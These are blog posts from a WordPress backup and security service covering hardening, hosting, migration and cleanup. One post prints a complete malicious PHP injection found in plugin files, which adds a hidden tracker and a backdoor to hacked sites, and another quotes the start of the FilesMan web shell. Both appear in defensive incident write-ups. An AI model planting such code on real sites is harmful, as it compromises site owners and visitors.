It was pointed out to me recently that we’ve been pretty discriminatory here on the blog recently, assuming that people want to avoid getting hacked. What about the people who *want* to be hacked? Maybe you’re interested in hearing about the political leanings of web savvy (and morally undeveloped) youth. Maybe you enjoy the thrill of the chase in figuring out how a hacker got in. Maybe you’re just lazy. Whatever the case, here are 5 steps you can take today (or just not worry about fixing) to put yourself at risk:
After all, updates can break your site, right? Just ignore them. Plugin updates, theme updates, core updates. Heck – even updates to your FTP client or operating system – they can all wait.
This theme has encrypted code in the footer to prevent the author’s “Real Estate Miami” link from being removed? That’s a sign of professionalism and quality. Use it.
No one is going to guess that your password is “Password”. Maybe “123456″ is just the password you always use so you can remember it. What are the odds that somebody is going to check your little corner of the web and try the password?
Reseller hosting is for suckers, and anything more than $10/month for hosting is highway robbery. Having all of your sites accessible via one FTP login is so convenient it’s worth the risk.
Logically, this won’t make you less secure. But according to logic, the toast you drop in the morning should land butter side up 50% of the time. We all know it’s butter down every. Single. Time. Somehow, a site without backups is just more likely to get hacked.
Yes, this is all terrible advice. Over the next week or so, we’ll be putting out a post on each one of these topics – why they’re a problem, and what you can do to solve them – so check back! In the meantime, I’d love to hear more tips on how people (inadvertently) make their sites less secure – share in the comments!
You are the owner of a WordPress website.
And you’ve spent countless hours working on it.
You’ve poured your heart and soul into it.
But in the back of your mind, you know that there are people out there, who will hack your website for their own benefit, or even just for amusement.
Hackers use other people’s websites as a way to get links for SEO purposes, to get people to download malicious software, to redirect website traffic to other places, to take down websites or alter the content among other things. The consequences of being hacked can be anything from losing the website (and all the hard work), to getting banned by Google or abandoned by your visitors.
So the question becomes: How can you protect yourself?
Luckily there are things you can do to minimize the risk of getting hacked and minimize the consequences if your website does get attacked.
The first thing you can (and should) do, is make it harder for hackers to get a foot in the door. Here are three things you can do right now:
All those WordPress software updates happen for a reason! Generally speaking, updates are released to fix bugs, add/update functionality or solve security problems. By keeping your website’s software up to date you’ll remove a good portion of the known ways hackers can gain access to your site.
WordPress installations that have been around for a while automatically have an administrator account with the name “admin” (Note: More recently, WordPress lets you choose your own username and password when setting up your blog. Don’t choose ‘admin’). Hackers know this. and if you use admin as your user name, they’re already halfway to logging in, and accessing your website’s back-end (with administrator privileges).
To fix this, just set up a new administrator account with a different name. You do this under “Users” > “Add New” in the menu inside your WordPress Dashboard. Wh you are done make sure to delete the “admin” account.
It’s also important to use a strong password and not just your birth date, the name of your kid or whatever other easy-to-guess-password you might be using. You can change the password by editing the user account under “Users” > “All Users”. Ideally, you’ll use a strong password, and it will be completely unique – that is, you won’t use this same password for your bank account and email.
You’ll find all the information you need in the article about how to change your WordPress table prefix
Let’s face it, the internet is a scary place. No matter how hard you make it for hackers to hack your website, the risk will always exist, no matter how small it may be. You need a recovery plan in case you do get hacked, even if you’ve done everything you can to prevent it.
The very least you should do is to backup your website on a regular basis. That way you’ll be able to restore it in case something goes wrong.
The only problem with that is, that you might not notice if your site gets hacked – hackers don’t want you to find out, so you can do something about it.
So the best thing you can do, to protect yourself is to both backup and monitor your website for suspicious behavior.
This is a guest post by Tune Seidelin. Tune is an entrepreneur who teaches people with no technical skills, how to build a website from scratch. So if you need to know how to choose a domain name or how to setup WordPress, then check out Tune’s guides.
This is a guest post by Adam Bate. Adam is a young online business owner and Internet marketing enthusiast. Adam runs a web hosting company, Web Savers, and has recently started the Canadian Web Design Headquarters – a site dedicated to connecting web designers, agencies, and freelancers with potential clients. Adam has hosted WordPress websites for close to a decade and knows the ins and outs of hosting a WordPress website.
When you’re searching for a home for your website, it’s important to do a bit of research before rushing into your buying decision. Not all web hosts are created equal and it’s important to ask the right questions.
So many people simply sign up to the cheapest web hosting package they can find, or the first one that they stumble across. While this might be okay if you are running a personal website or blog that is not crucial to the success of a business or income stream, it is not okay if you are hosting a website that you used to make money.
Here are three of some of the most important but often unasked questions you can ask your web host to ensure your website’s security and reliability.
Is PHP run as an apache module or FastCGI?
This might not make any sense to you reading this, but it is a very important question when it comes to the security of your website – especially when on a shared web hosting server and if you run WordPress with multiple plugins.
If PHP is running as apache there are certain permission tweaks you will need to do in order to let PHP access the files on your website. One of the most popular ways to do this is to change the file permissions of a folder to chmod 777 – which basically means any user can read and write to this folder and execute anything within it. This lets you upload files automatically through scripts and plugins within WordPress.
However, if a separate website on the same server were to be hacked, your website would also be compromised because of these set permission since they are letting anyone write and execute code to your files without you even knowing. This is a very popular method of malware injections. Even though your website does not have any specific vulnerabilities, it can still be compromised due to permission settings on a shared web server.
When PHP is being run as FastCGI, the processes will be owned by your specific user and not Apache. This means that WordPress will be able to read, write, and execute your files withing having to change the file or folder permissions. This is a huge plus for the security of your website.
Does your unlimited web hosting really mean unlimited web hosting?
This has been one of the hot topics of hosting websites for a number of years. Most web hosts offer some sort of package that includes unlimited resources – such as disk space and transfer.
Most do this as a way to give their clients peace of mind and because most people and websites do not use as many resources as they think they will.
However, it’s obvious that no web host can offer a truly unlimited service. Even on a cloud-based hosting solution, they are still limited by the entire array of disk space and the total transfer of their connection speed.
Make sure to check the terms of service or ask the company if unlimited really means unlimited. In most cases, if your website uses too many resources – weather it’s too much bandwidth or too much CPU usage, they will simply shut down or suspend your website and account and make you upgrade to a more expensive plan.
Unfortunately most people don’t realize this until it’s too late and they wake up one morning and notice their website is offline. It doesn’t matter how great a company’s uptime is if they will suspend your account without notice.
Is your backup service a true backup service?
Most web designers and hosting companies will set you up with a package for your website that includes or advertises some sort of daily or weekly backup solution. Unfortunately for most people, what they don’t understand is that most of these backup solutions do not include data recovery and some do not even backup individual files.
If a company offers a backup solution but doesn’t provide data recovery, you will typically have to pay an up-front fee in order to get your data restored. The backup process is the only “included” part, not the recovery process.
Some web hosts only do full-server image backups which do not even allow for individual files to be restored. In these cases, the backup simply takes a snap shot of the entire server and does not copy or back up each individual file. Although this is great in case anything were to happen to the entire server (such as a server-wide hack, or a hard drive failure) it is not so great if you were relying on this advertised service as a way to restore lost files.
Needless to say, not all web hosts offer the same level of service. It’s important to ask the right questions before choosing a hosting plan for your WordPress website. Doing a little research before making a buying decision is sure to save you a lot of headache and hassle down the road.
Malware usually ends up on sites for a few reasons:
That last one is new (to me), and was unexpected. Here’s the story:
This morning, I came up against a hacked site I was really having trouble with. It clearly had some code appended to the footer of every page, but it didn’t seem to be malicious (it was just a link to a tiny image), and it had been there for a while – apparently with no ill effects. Still – the site owner had noticed it, and he wanted it gone.
Tracking it down took a bit of doing – the hacker didn’t use many of the normal tricks we see, and the hack was very old, so the trail was very cold. Finally, however, we found a number of modified plugin files – all modified with the same block of code:
<?php
//{{61601810
GLOBAL $alreadyxxx;
if($alreadyxxx != 1)
{
$alreadyxxx = 1;
$olderrxxx=error_reporting(0);
function outputxxx_callback($str)
{
$links = '<SPAN STYLE="font-style: normal; visibility: hidden; position: absolute; left: 0px; top: 0px;"><div id="o44dae82fa67843a194c00e0e8"><img width=0 height=0 src="http://airschk.com/countbk.gif?id=4dae82fa67843a194c00e0e8&p=1&a=%96%83%00%89%C9g%B0%C62%DF%E3%8DF%BF%D1%F6%B3%0C%F0%DD%21%02%15%FB%E1%C1%FA%29%E9%29%E3a%22%A5%BE%C1%EBP%16%DE%12%F4S%D5"></div></SPAN>';
preg_match("|</body>|si",$str,$arr);
return str_replace($arr[0],$links.$arr[0],$str);
}
function StrToNum($Str, $Check, $Magic)
{
$Int32Unit = 4294967296;
$length = strlen($Str);
for ($i = 0; $i < $length; $i++) {
$Check *= $Magic;
if ($Check >= $Int32Unit) {
$Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
$Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
}
$Check += ord($Str{$i});
}
return $Check;
}
function HashURL($String)
{
$Check1 = StrToNum($String, 0x1505, 0x21);
$Check2 = StrToNum($String, 0, 0x1003F);
$Check1 >>= 2;
$Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
$Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
$Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);
$T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
$T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );
return ($T1 | $T2);
}
function CheckHash($Hashnum)
{
$CheckByte = 0;
$Flag = 0;
$HashStr = sprintf('%u', $Hashnum) ;
$length = strlen($HashStr);
for ($i = $length-1; $i >= 0; $i--) {
$Re = $HashStr{$i};
if (1 === ($Flag % 2)) {
$Re += $Re;
$Re = (int)($Re / 10) + ($Re % 10);
}
$CheckByte += $Re;
$Flag ++;
}
$CheckByte %= 10;
if (0 !== $CheckByte) {
$CheckByte = 10 - $CheckByte;
if (1 === ($Flag % 2) ) {
if (1 === ($CheckByte % 2)) {
$CheckByte += 9;
}
$CheckByte >>= 1;
}
}
return '7'.$CheckByte.$HashStr;
}
function getpr($url)
{
$ch = CheckHash(HashURL($url));
$file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
$data = file_get_contents($file);
$pos = strpos($data, "Rank_");
if($pos === false){return -1;} else{
$pr=substr($data, $pos + 9);
$pr=trim($pr);
$pr=str_replace("
",'',$pr);
return $pr;
}
}
if(isset($_POST['xxxprch']))
{
echo getpr($_POST['xxxprch']);
exit();
}
else
ob_start('outputxxx_callback');
error_reporting($olderrxxx);
}
//}}81621fe2
?>
At first glance, this doesn’t even look *that* suspicious. If I hadn’t noticed reference to the url I was trying to track down (http://airschk.com), I might not have paid too much attention to it. I did notice it though, so I started looking through the code. What I found wasn’t what I expected:
http://toolbarqueries.google.com/
I know this URL, because long ago, I was tasked with writing a script that checked the pagerank of given URLS on a schedule. In fact, at second glance, I know these functions intimately – I used the same ones (which someone else wrote, and released for free).
If we look a little closer at the code:
if(isset($_POST['xxxprch']))
{
echo getpr($_POST['xxxprch']);
exit();
}
It becomes apparent what’s going on here. Send a POST request to the site with a parameter of ‘xxxprch’ containg the URL of a site you want to check, and you’ll get back the pagerank.
This code only exists (and apparently was only put on this server) for the owner to use to check pagerank. Ridiculous. Further, I’d guess that the image link, which was the catalyst for this whole witch hunt, is just a flag to let the owner know exactly which sites he can use to check pagerank. Touche, hackers.
Google doesn’t take particularly kindly to people checking pagerank with scripts. They’ll allow it, because it is (or was) a part of their toolbar – so the toolbar code had to be able to call up pagerank for any given site – but they don’t want people using this information to try to game search results – so they do some pretty strict throttling on how fast you can make requests for pagerank from a given IP. This is a problem if you really want to check the pagerank of a lot of sites. The solution, at least for one enterprising hacker, is to use the IP address of every site he could hack. Clever.
Note: This hack has clearly been around for a long time, judging by how long ago people have been asking about it (based on Google Searches). Today was the first time I saw it personally. I wouldnt say it’s particularly common anymore, but it’s interesting all the same.
Just a quick note about something we’re seeing *lots* of over the past few days: Attacks targeting themes and plugins using vulnerable uploadify script. We’ve seen a number of them since the weekend, and they all seem to be coming from the same source, as they’re all doing the same thing: Dropping a file named “auth.php” at “/wp-content/uploads/auth.php”.
The file is malicious, and should be removed.
The file is an old favorite of hackers, especially lazy ones. It’s generally known as “FilesMan”, because of the text near the top of the file:
<?php # Web Shell by oRb $color = "#df5"; $auth_pass = 'ff6cb56b876eedf90b5bca2c0a210f91'; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251';
This is a “shell”, or “backdoor”. Hackers put these on servers to give them the access they need to do whatever they want. They’re commonly hidden around the server in an attempt to make sure the hacker can get back in after you think you’ve fixed the problem – cleaning up the mess of bas64_decode(s and eval(s you found around the server.
First, you should delete it – or at least rename it. Unfortunately, that doesnt mean you’re safe, especially if the file has been there for any amount of time. Most hackers will leave more than one backdoor as a failsafe, and if they’ve had time, they’ve almost certainly dropped another one on your server. We’ll clean up your hacked WordPress site for you – as will a number of other services out there. Whether you’re going to clean it up yourself, or have a professional help, you’ll want to get to work quickly, before the hack has the chance to spread around your server, potentially to other sites.
In this instance, it looks like the common thread is vulnerable uploadify instances. Regina Smola over at wpsecuritylock.com has been talking out in public, and to me personally the dangers of uploadify for quite some time – and we’re seeing the results here. itpixie.com has put together a great list of vulnerable themes/plugins – so you’ll want to check that out.
This is a guest post by Chris Stott – a WordPress Web Designer & Consultant at Really Simple Web. He helps small businesses grow online using WordPress by keeping things simple and actionable. You can sign up for his awesome free newsletter here. I’ve been in touch with Chris on and off for quite a while – he’s a great guy who does great work.
At sometime throughout your career of running a WordPress website you are likely to need to move to a different host for some reason or another. Hopefully, this will be because your site has out-grown your current host and you require something more powerful. More often than not, hosting companies upset people in some way and you need to move.
I find that people don’t switch and put up with an expensive host they have been with since they started out as they are daunted at the prospect of moving to another provider. Fortunately Code Garage makes the process much easier when moving a WordPress site!
In this post I’m going to show you how to move your site from one host to another quickly and easily. If you need to move hosts, don’t put this off. Just dive in.
You need to have 2 things in place.
Your going to need a couple of bits of software to make this process easier, don’t worry they’re free.
Once you have these things in place you are ready to move your site.
It’s worth doing a bit of spring cleaning on your existing site such as getting rid of plugins, spam comments, themes and more that you don’t need. Also you might as well make sure WordPress and all your plugins are fully up to date. This is just a good opportunity and means you have less stuff to move. Remember that once you do this you’ll need to wait for another backup cycle so that Code Garage has the latest backup of your new site. All this means that when it comes to start the transfer we have a nice clean backup to work with.
There are two files you are going to need to download. Your latest ‘Files’ and your latest ‘Database’. Remember that once you download these to your computer they are snapshots of your site at the time of the last backup. If you get delayed in moving your site, you might want to start with the latest backup as Code Garage will continue to run in the background of your existing site until you complete the transfer.
This is about as technical as it gets, and it’s not that daunting I promise – I’ll walk you through every step. Unfortunately you can’t quite just copy and paste your files, you need to create a fresh database on your new host.
Here’s what I need you to do. Most of you, I imagine will have hosting with a cPanel backend, if not (mine is xTend backend) you’ll find they are very similar.
To create a new database you can either use the wizard (1 in the image below) or you can go in to myPHP admin (2 in the image below) yourself and do it from there – note that some hosting won’t have the wizard, so just use php MyAdmin (2) to do this. You’ll need to make sure that you make a note of the database name, username and password created as you’ll need this information in a bit. It’s easier to just save it in a text file so you can copy and paste it later. Note: Your Database name and username are often the same.
Next you are going to need to import your existing database (the .sql file that you downloaded from Code Garage) in to your new database (the one you just created). This is easy. Head over to phpMyAdmin in your hosting cPanel. Select the database you just created (this is important as I sometimes forget this step and get errors).
Now import your Code Garage database backup (the sql file) to that new Database.
The final technical step of getting your new database ready is to tell your WordPress site how to access the new database. To do this you are going to need to manually edit some files.
Unzip that Code Garage backup of your site files that you have (you’re going to need to do that ready to upload them anyway).
Navigate to the file wp-config.php file in the root folder and open it with a text editor.
You want to navigate to the database details which are near the top of the file. Here you are going to want to change the database details: database name, user and password to those of the Database you created on your new host. Save that file over the existing file so it becomes your only wp-config.php file in your folder (make sure that you save it in the same format don’t let your text editor convert it to rich text or anything).
Right that’s your database setup, we are now ready to upload the rest of your site to your new host.
You are going to need to use an FTP programme for this step. You should have your FTP login information in your welcome email from your host, otherwise you can setup FTP users via your hosting control panel. Some hosts will require you to unlock your FTP access either by time period or IP address, so you’ll need to do that to get access.
Put your FTP details in to your FTP programme and let’s get connected.
You are going to navigate to your new site location on your server. Depending on the type of hosting you are using this will probably be the Public_HTML folder under the folder for the new site you’ve allocated to your domain.
Once you find this make sure that you delete any files within that folder. Again, depending on your host, this could be an index.html file or similar.
Now upload the contents of your Code Garage backup of your files that you have unzipped so that becomes the contents of your public_html folder. You want to upload at the level where your wp-config.php file is. You can select all files using CTRL+A on a PC or CMD+A on a Mac.
Here’s where we wait for the files to upload.
All the folders look like they are in the right place (they should look like the image below) and it’s worth opening your wp-config.php file on your new server to check that it has the right DB names etc.
Let’s recap where we are. You currently have a new host with a new database setup and your existing database imported in to that. You also have all your files uploaded to your new server, in the right place, from your Code Garage backup. You’ve edited the wp-config.php which got uploaded to your new hosting so that it has the new database details.
For the moment however your site is still operating from your old host. It’s time to make the final switch to your new hosting. This is where we tell your domain name to point at your new host. This requires you to change your DNS settings with your domain registrar.
A word of warning before you do this. Your DNS settings will also control your email. If you’ve just got a forwarding address that’ll be fine, but if you have added Google Apps or a particular inbox you are going to need to make sure you provision the changes for that as well. You’ll need to edit the MX records on your new host prior to the switch. Find out more about moving Google Apps to a different host here.
Within your registrars domain management site, navigate to the domain we are dealing with and then select DNS setup or equivalent. I use Namecheap so this is what it looks like for me:
Now you just need to update your DNS settings to point at your new host and then wait for your site to switch. This can take around 24 hours but is usually much quicker.
Check everything is working, check all the right plugins are active, have a click around.
It’s worth keep your old host running for a week or so until you are happy everything is running fine on your new host, because if you have a problem you can easily switch the DNS back to your old host.
There you have it, using this guide and your Code Garage backups it is easier than you think to switch your hosting to a new provider.
I hope you found this guide useful. If you have any questions please leave a comment I’d be happy to help.
Ah, fair $post object. Lets talk about how great you are.
Post Object. WordPress stores all post data (think content, author, tags, etc) in a single object, accessible to themes and plugins on each page load. Basically, this is the place you’re going to go to if you want to get some extra information about a post for whatever clever scheme you’ve got cooked up. Need to know how many “n”s are in this particular post? Talk to the post object. Not sure when this post was originally published? Post object. Looking for lawyers who ride? Now we’re talking – but you want the Law Tigers, not the $post object. Watch their commercials. You won’t regret it.
The post object is available nearly everywhere you’re likely to be looking at a post. If you’re working with a single post page, or an actual page, you’ve got access to that post’s (or page’s) post object anywhere within your theme file. It’s all held in a variable named $post.
If you’re on a page with multiple posts, things are a little trickier but not much. If you’re inside the loop, you’ve got access to a $post object (named $post) referring to the current post in the loop.
What if you want to get at a post that isn’t the one you’re looking at on a particular page – or what if you want to get at one from a plugin, or somewhere where there isn’t a current post explicitly defined? There’s a function for that:
$id = 41; $mypost = get_post($id); print_r($mypost);
get_post() to the rescue! There are, however, a couple of gotchas with get_post.
get_post() gets you. So do I. There’s a second, optional argument to get_post that determines what it spits out at you. It defaults to OBJECT, but you can also pass in ARRAY_A, or ARRAY_N to get an associative array or a numeric array version of the post data.
Find out for yourself! The snippet above uses the function print_r() – it will show you the structure AND data of a particular post object – very useful stuff. Surround it in a <pre> tag, and you’ll be in even better shape – it will display nicely in your browser.
Well played. Here’s a quick rundown on the data the post object gives you:
| Property | Example | Explanation |
|---|---|---|
| $post->post_title | The WordPress $Post Object and You | Title of post. |
| $post->post_excerpt | Learn about the WordPress $Post object! | Manually created post excerpt. If you didn’t purposefully create an excerpt on the add post page, you’re not getting anything here. |
| $post->post_status |
|
Current status of the post. |
| $post->comment_status |
|
Comment status for this particular post. |
| $post->ping_status |
|
Does the current post accept pingbacks and trackbacks? |
| $post->post_password | 123456 | The plaintext password for this post, if there is one. Empty otherwise. |
| $post->post_name | the-wordpress-post-object-and-you | A normalized, sanitized version of the post title, used to generate pretty permalinks. |
| $post->to_ping | http://technorati.com http://someothersitetoping.com | Space separated list of sites to ping which have not been pinged yet. Modified by “Send Trackbacks” field on add post page. |
| $post->pinged | http://technorati.com http://someothersitetoping.com | Space separated list of sites already pinged for this post. |
| $post->post_modified | 2011-09-15 21:21:59 | Time this post was last modified, based on local server time. MySQL timestamp format. |
| $post->post_modified_gmt | 2011-09-15 21:21:59 | Time this post was last modified, based on GMT timezone. MySQL timestamp format. |
| $post->post_content_filtered | Post Content | This field is designed to hold a version of the post for caching, in situations where filters are being run on the post that are “expensive” (slow), and undesireable to run every time. Not used in WP core, may be used by plugins. |
| $post->post_parent | 0 | ID of the parent post. Posts that have parents are generally revisions, or attachments. If the post_parent is 0, this is a bona-fide, original post. |
| $post->guid |
http://codegarage.com/blog/?p=41 |
Global Unique Identifier for the post. According to the documentation page on wordpress.org, this can’t be relied on to actually work as a link to the post, but I’m not totally sure why. Maybe in cases where the site url has changed? |
| $post->menu_order | 0 | Integer determining the order in a list of posts. Generally used for pages in menus, but can be used by plugins for special ordering. |
| $post->post_type |
|
The particular type of post this is. Attachments are generally images, pdfs, etc. Posts and pages are self explanatory. |
| $post->mime_type | image/png | Mime type for attachments. |
| $post->comment_count | 14 | Number of comments on this post currently. |
| $post->post_ancestors | array | Array of parent posts for this post. |
I think that about covers it. One last question you might have:
How do I get WordPress to spit out properly formatted post content?
Good luck!
Over the past few weeks, I’ve been absolutely inundated with requests to clean up hacks that have exploited the much publicized Timthumb.php vulnerability. I have to assume that the reason most people aren’t plugging up this security hole on their sites is either
To combat this, I took a couple of hours this morning to write a plugin that will do the dirty work for you. The WordPress Timthumb Vulnerability Scanner will check your entire wp-content directory (including all themes, plugins, and uploads) for any vulnerable (pre-2.0) instances of the timthumb script, and give you a one-click upgrade to upgrade each script to the latest, secure version.
Just like that, you’re done. Quick and painless.
Note: If you’ve already been hacked, this will NOT clean up your site. This plugin fixes your door lock – which doesn’t matter if the burglars are already in your house.
Let me know of any problems or questions you have in the comments.
Good luck!
EDIT
Looking for a solution to scan a whole server, or a site not running on WordPress? By sort-of-popular demand, here it is:
http://codegarage.com/plugins/timthumb-full-server-vulnerability-scanner.zip
It’s much less polished, and much less tested, so use at your own risk.
Yesterday we talked about how to access your WordPress site via FTP – today, we’ll talk about something more important: Upgrading or reinstalling WordPress using FTP instead of the WordPress backend.
Again – this all comes down to saving your own butt. If an automatic upgrade fails in the middle, you’re in trouble – chances are that some, but not all of the files necessary have been reinstalled/updated. Because of this, the Dashboard is often left inaccessible, and you have to fall back on your old friend FTP.
Other reasons you might do this:
Back up your site before you do this. Please. If you mess it up, and lose all your uploads, you’re going to be really mad, maybe at me. Don’t have a backup service? Good news – I have one that I can shamelessly plug. Check it out at the front page.
Lets get to it. Since we already understand how to access WordPress via FTP, we can get started without fear.
WordPress.org has a handy feature: the latest version of WordPress is always available at:
http://wordpress.org/latest.zip
If you ever need a copy, just enter that address in the url, and it will start downloading. The more traditional page for finding your download is here:
http://wordpress.org/download/
Need an old version of WordPress? They’re nice enough to keep those around too:
http://wordpress.org/download/release-archive/
So you’ve downloaded the version of WordPress you need. Good work!
Next, you need to extract the zip you downloaded. Hopefully this isn’t too tricky – as long as you know where your downloads end up. In most cases, it’s as simple as finding the zip file and double clicking it. You should end up with a folder titled “WordPress”, which has the entirety of a WordPress install inside of it.
All that’s left is to upload. Now – you need to take some special consideration before you just go uploading all these files. Make sure you’re:
That deserved to be bolded. The wp-content folder holds your themes, plugins, and uploads – and we don’t want to overwrite it with the default wordpress content. So, we’re going to upload everything except that.
Upload Everything BUT wp-content
Now, this is going to take a while – WordPress has a lot of files. Go eat a sandwich, it will be done when you get back.
Now head back over to your site and get a feel for your handiwork. If you were just trying to fix a problem, ideally at this point your site is working again. If the upload went ok, and your site still isn’t working, the problem lies somewhere else – check your plugins and themes if you haven’t already.
If you were doing this to upgrade your WordPress install, you’ve got one more step. Head over to yoursite.com/wp-admin, and you should be presented with a screen saying you need to upgrade your database. Go ahead and approve that, give it a minute to think, and you should be redirected to the login page – and you’re done!
FTP is short for File Transfer Protocol. Pretty self explanatory – you have files on your computer, you want them on your website, so you transfer them. FTP facilitates this.
Like I said, WordPress continues it’s relentless path toward becoming completely free of scary acronyms like FTP, but there are still times when you need it – mostly when things go wrong:
Step 1: Get an FTP client.
“FTP Client” is just nerdy talk for “Program you use to upload your files to your website”. There are as many FTP clients as there are fish in the sea, but I’m just going to tell you to use FileZilla, because it’s free, and easy to use. Download and install it, and get back here.
Step 2: Figure out your FTP credentials.
More nerd speak – you just need the login and password (and maybe ftp url) your host gave you for FTP access. This information is often in your “Welcome to your new hosting account” email.
Step 3: Connect!
Alright – fire up your FTP Client (See? You’re talking like a real nerd! Drop that one on your boss. He’ll give you a raise and a new job title.) In filezilla, we’re just going to use the “QuickConnect” bar – 
Host: This is usually your site’s url (like codegarage.com), but sometimes it’s something different. If it’s different, they’d have told you in the same place you found your username and password. You did find your username and password already, right?
Username: Your username. Take note: you might have to include the domain name afterward, like an email address (like peter@codegarage.com).
Password: Your Password.
Next stop, the “Quickconnect” button. Go ahead, click it. You’re not in a position to break anything. Yet.
Hopefully. If not, you’ve probably got one of those fields wrong – host, username, or password. Do some tinkering.
If you got in, you’ll see the window on the bottom right corner of the screen fill up with some folders (or maybe just a few). These are the files on your server! Go ahead, do some exploring. When you’re ready to upload a file (send it from your computer to the website), just drag it on into that window on the right, and it will get sent to the website.
That’s it! Good work!
Recent Comments